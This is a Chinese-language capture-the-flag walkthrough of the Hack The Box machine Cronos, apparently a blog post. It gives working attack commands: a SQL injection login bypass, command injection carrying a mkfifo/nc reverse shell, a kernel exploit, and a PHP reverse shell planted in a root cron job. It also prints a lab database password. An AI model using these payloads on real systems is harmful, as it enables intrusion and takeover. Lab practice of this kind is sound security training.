本文已参与「新人创作礼」活动,一起开启掘金创作之路
勘探
基本操作先用nmap扫一下
nmap 10.10.10.13
Starting Nmap 7.80 ( nmap.org ) at 2020-04-07 21:01 EDT
Nmap scan report for 10.10.10.13 Host is up (0.014s latency).
Not shown: 65532 filtered ports PORT
STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
发现开了三个,那么具体扫描一下这三个端口
nmap -sC -sV -p 22,53,80 10.10.10.13
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0 )
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现有三个攻击向量
openssh7.2p2告诉了我们他的系统版本
53的dns解析
80的web
那么挨个尝试
80端口
打开发现时apache的报错,dirsearch也什么都扫不出来。
那么联动一下53的域名试试
53端口
root@kali# nslookup
server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
10.10.10.13
13.10.10.10.in-addr.arpa
name = ns1.cronos.htb.
发现有一个本地解析域名,ns1.cronos.htb.,那么也就是说域名是cronos.htb喽
可以继续深挖一下,看看有没有其他的子域名
dig axfr cronos.htb @10.10.10.13
会发现他还有两个子域名 admin和www
那么我们可以再配置文件/etc/hosts中修改一下
这样
然后用浏览器访问,注意添加http而不是https
之后依次访问
获取www权限
cronos.htb指向了
并且全部连接都指向了laravel,那么我们猜测他这个站可能和laravel有关
同样目录爆破不出东西
admin.cronos.htb 打开是一个登陆界面
跑一下万能密码就能跑开
我是用
admin‘ or 1=1--跑开的
跑开了发现是一个ping界面,可以直接按我们在dvwa中磨练出来的技术试试
那么就是经典的命令行注入了,而且相当简单,没有任何验证,直接&带命令就行
我使用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4444 >/tmp/f
来转发shell
记得nc监听
获取root权限
方法一
在uname -a部分发现内核版本为4.4.0.72
那么直接44298打穿
用searchsploit搜44298,然后copy一份出来,用
gcc 44298.c 编译一下
然后python SimpleHTTPServer 80打开python的服务器
然后再靶机用wget下载你编译出来的a.out
最后直接chmod 777 a.out赋权限
然后./a.out执行就行
方法二
没复现成功,因为实在是不想看这个linpeas分析文件
接下来全部操作来源于转述0xdf
用linpeas检查一下危险文件,推荐把先用python获取一个好用一点的shell然后把linpeas输出到一个文本文件中,然后用more 慢慢看,要不然一次输出太多,转发出来的shell看着很麻烦
用linpeas分析出来一个文件
www-data@cronos:/dev/shm$ bash linpeas.sh ...[snip]...
[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs
-rw-r--r-- 1 root root 797 Apr 9 2017 /etc/crontab
...[snip]...
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
...[snip]...
发现有一个/var/www/laravel/artisan schedule:run文件会以root权限每分钟都以php执行
那么打开这个文件看看
ls -la /var/www/larave/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 artisan
发现这个文件属于www,那么我们直接在这个php文件中加上转发shell语句,岂不是就能获得root权限的shell了
我们挑选一条php的转发语句
转发shell语句_m0_57221101的博客-CSDN博客
直接在文件的最前面写上
<?php
$sock=fsockopen("10.10.14.24", 443);
exec("/bin/sh -i <&3 >&3 2>&3");
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|---------------------------
然后打开nc监听就ok
原理分析
命令行注入
在这个文件夹中/var/www/admin/welcome.php:
<?php
include('session.php');
if($_SERVER["REQUEST_METHOD"] == "POST") {
//print_r($_POST);
$command = $_POST['command'];
$host = $_POST['host'];
exec($command.' '.$host, $output, $return);
//print_r($output);
}
?>
可以看到,这完全就是没有做验证从command到host都只是一个简单的用户上传参数而且还用了非常危险的exec
sql注入
这个文件储存着数据库的账号密码/var/www/admin/config.php:
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
这个是登录的验证单元/var/www/admin/index.php
if($_SERVER["REQUEST_METHOD"] == "POST") {
// username and password sent from form
$myusername = $_POST['username'];
$mypassword = md5($_POST['password']);
$sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
$result = mysqli_query($db,$sql);
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);
//$active = $row['active'];
$count = mysqli_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count == 1) {
//session_register("myusername");
$_SESSION['login_user'] = $myusername;
header("location: welcome.php");
}else {
$error = "Your Login Name or Password is invalid";
}
可以看到把万能密码上传至用户名位置但是由于后面有一个and,如果密码不对,就不能绕过,那么用-- -把他注释掉就可以了呗'' or 1**=1-- -'
所以这个就成功了
感谢
参考资料
HTB: Cronos | 0xdf hacks stuff
其中讲了具体的有关命令行注入的报文,和保温利用方法,以及造成万能密码登录的原因